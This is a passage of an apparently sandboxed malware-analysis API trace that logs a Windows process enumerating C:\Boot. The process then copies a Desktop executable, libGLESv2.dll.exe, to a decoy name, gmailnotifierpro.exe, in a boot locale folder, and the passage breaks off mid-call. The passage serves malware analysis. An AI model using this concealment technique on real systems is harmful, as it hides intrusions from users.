nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x7898476d, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x7898476d, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0107.339] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x17f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789aa98c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789aa98c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789aa98c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789d0a50, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789d0a50, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789d0a50, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0107.341] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x789f6c92, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x789f6c92, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x789f6c92, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc2960, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a1cf69, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a1cf69, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a1cf69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0107.343] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78b27f82, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a4324e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a4324e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a4324e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a8f7b9, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a8f7b9, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a8f7b9, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0107.345] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0107.346] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.346] FindClose (in: hFindFile=0x1b48f8b0 | out: hFindFile=0x1b48f8b0) returned 1 [0107.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0107.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0107.346] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0107.346] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\gmailnotifierpro.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\gmailnotifierpro.exe", lpFilePart=0x0) returned 0x22 [0107.346] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Boot\\pt-BR\\gmailnotifierpro.exe" (normalized: "c:\\boot\\pt-br\\gmailnotifierpro.exe"), bFailIfExists=0) returned 1 [0107.603] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\833776ee4e6397", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\833776ee4e6397", lpFilePart=0x0) returned 0x1c [0107.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0107.603] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\833776ee4e6397" (normalized: "c:\\boot\\pt-br\\833776ee4e6397"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, 